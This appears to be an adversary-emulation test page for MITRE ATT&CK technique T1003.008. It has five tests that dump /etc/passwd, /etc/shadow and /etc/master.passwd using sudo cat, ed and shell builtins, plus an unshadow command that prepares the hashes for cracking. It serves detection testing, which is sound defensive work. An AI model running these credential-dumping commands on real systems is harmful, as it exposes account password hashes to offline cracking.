T1003.008 - OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow

Description from ATT&CK (opens in a new tab)

Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information, including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)

Linux stores user information such as user ID, group ID, home directory path, and login shell in /etc/passwd. A "user" on the system may belong to a person or a service. All password hashes are stored in /etc/shadow - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)

Adversaries may attempt to read or dump the /etc/passwd and /etc/shadow files on Linux systems via command line utilities such as the cat command.(Citation: Arctic Wolf) Additionally, the Linux utility unshadow can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db(Citation: nixCraft - John the Ripper). Since the user information stored in /etc/passwd are linked to the password hashes in /etc/shadow, an adversary would need to have access to both.

Atomic Tests

• Atomic Test #1 - Access /etc/shadow (Local)

• Atomic Test #2 - Access /etc/master.passwd (Local)

• Atomic Test #3 - Access /etc/passwd (Local)

• Atomic Test #4 - Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not cat

• Atomic Test #5 - Access /etc/{shadow,passwd,master.passwd} with shell builtins

Atomic Test #1 - Access /etc/shadow (Local)

/etc/shadow file is accessed in Linux environments

Supported Platforms: Linux

auto_generated_guid: 3723ab77-c546-403c-8fb4-bb577033b235

Inputs:

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

sudo cat /etc/shadow > #{output_file}
cat #{output_file}

Cleanup Commands:

rm -f #{output_file}

Atomic Test #2 - Access /etc/master.passwd (Local)

/etc/master.passwd file is accessed in FreeBSD environments

Supported Platforms: Linux

auto_generated_guid: 5076874f-a8e6-4077-8ace-9e5ab54114a5

Inputs:

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

sudo cat /etc/master.passwd > #{output_file}
cat #{output_file}

Cleanup Commands:

rm -f #{output_file}

Atomic Test #3 - Access /etc/passwd (Local)

/etc/passwd file is accessed in FreeBSD and Linux environments

Supported Platforms: Linux

auto_generated_guid: 60e860b6-8ae6-49db-ad07-5e73edd88f5d

Inputs:

Attack Commands: Run with sh!

cat /etc/passwd > #{output_file}
cat #{output_file}

Cleanup Commands:

rm -f #{output_file}

Atomic Test #4 - Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not cat

Dump /etc/passwd, /etc/master.passwd and /etc/shadow using ed

Supported Platforms: Linux

auto_generated_guid: df1a55ae-019d-4120-bc35-94f4bc5c4b0a

Inputs:

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

unamestr=$(uname)
if [ "$unamestr" = 'Linux' ]; then echo -e "e /etc/passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file}; elif [ "$unamestr" = 'FreeBSD' ]; then echo -e "e /etc/passwd\n,p\ne /etc/master.passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file}; fi

Cleanup Commands:

rm -f #{output_file}

Atomic Test #5 - Access /etc/{shadow,passwd,master.passwd} with shell builtins

Dump /etc/passwd, /etc/master.passwd and /etc/shadow using sh builtins

Supported Platforms: Linux

auto_generated_guid: f5aa6543-6cb2-4fae-b9c2-b96e14721713

Inputs:

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) }
[ "$(uname)" = 'FreeBSD' ] && testcat /etc/master.passwd
testcat /etc/passwd
testcat /etc/shadow

Cleanup Commands:

rm -f #{output_file}